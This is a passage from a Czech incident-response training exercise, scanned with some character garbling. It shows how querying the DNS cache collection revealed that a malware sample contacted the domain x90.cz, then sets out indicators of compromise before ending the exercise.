kolekce, ktera nam umozni ziskat data z DNS cache klientu a ptipadné provést namapovani zjisténych IP adres,
S nimiz zajmovy vzorek komunikoval, na doménova jména. Za timto Gc¢elem tedy pouzijeme kolekci Win-

dows.System.DNSCache.

Artifact Collection Uploaded Files Requests Results Log Notebook

m~- A &4 BT
Name Record RecordType m QueryStatus SectionType

%80 cz 819186 14 A 874 Success Answer

V tuto chvili jiz tedy vime, Ze nas zajmovy vzorek komunikuje po siti (pfinejmensim) s doménou x90.cz.

5. 'V ramci naseho playbooku pro zvladani KBI spojenych s malwarovou infekci bychom na zavér nasi analyzy
méli stanovit indikatory kompromitace spojené s danym vzorkem.
Na tirovni sité by bylo mozné (po jejich dalsim ovéfeni) pouZit pro tento ucel pravé vySe zminénou doménu a
ptipadné také souvisejici zjisténé IP adresy.
Na tirovni souborového systému a procesi by pak jako loC mohlo byt vyuzito umisténi a jméno souboru a jeho

kryptograficka hash.
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Dalsi kroky by v piipadé realného incidentu mohly byt spojeny s hlubsi analyzou nalezeného malwaru, ptipadné s vyu-
zitim ziskanych IoC pro identifikaci pfipadné infekce na dalSich systémech, neb jsme vSak prosli celym nasim playbo-
okem, pro potieby tohoto cvi¢eni budeme povazovat reakci na incident za ukonCenou a server i klientsky pocita¢ tak

muzeme vypnout.
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